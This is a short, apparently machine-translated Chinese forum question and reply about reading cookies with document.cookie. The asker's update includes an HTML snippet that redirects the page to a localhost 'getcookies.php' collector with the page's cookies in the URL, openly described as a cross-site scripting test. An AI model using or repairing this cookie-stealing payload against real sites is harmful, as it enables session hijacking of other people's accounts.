我必须使用JavaScript来读取cookie。我正在使用document.cookie
来做同样的事情。但该方法仅适用于谷歌浏览器,而不适用于Firefox和IE 8/9。所有的网页也显示document.cookie
作为一种方式来做到这一点。无法在Firefox和IE中读取Cookie
如何使用JavaScript在Firefox和IE中获取cookie?
感谢
UPDATE 我测试在本地主机上我的代码。在线测试代码blogspot.com,它甚至没有在Chrome上工作。
任何方式,这里的HTML代码:
<script type="text/javascript">
function sendCookies(){
document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie);
}
</script>
<a onclick="sendCookies()" href="#">
click here </a> to know about XSS attack.
在调试在浏览器中document.cookie
,它显示只有铬值。如果我将本地主机替换为在线链接,即使在Chrome上,document.cookie
也是空的。
你可能的猜测是正确的。这是一种跨站脚本攻击。
对这段代码的任何帮助对我都有好处?
更新2:
这里的链接到它展示了如何执行XSS攻击的视频:使用jQuery的饼干
'document.cookie **是**的方式来做到这一点。如果它不起作用,那么您对您正在阅读的文档或您尝试阅读的cookie的解释可能存在错误。您需要提供更多关于您的具体问题的信息,以便人们提供更有用的帮助,然后链接到您所拥有的教程,据推测,这些教程已经阅读。 – Quentin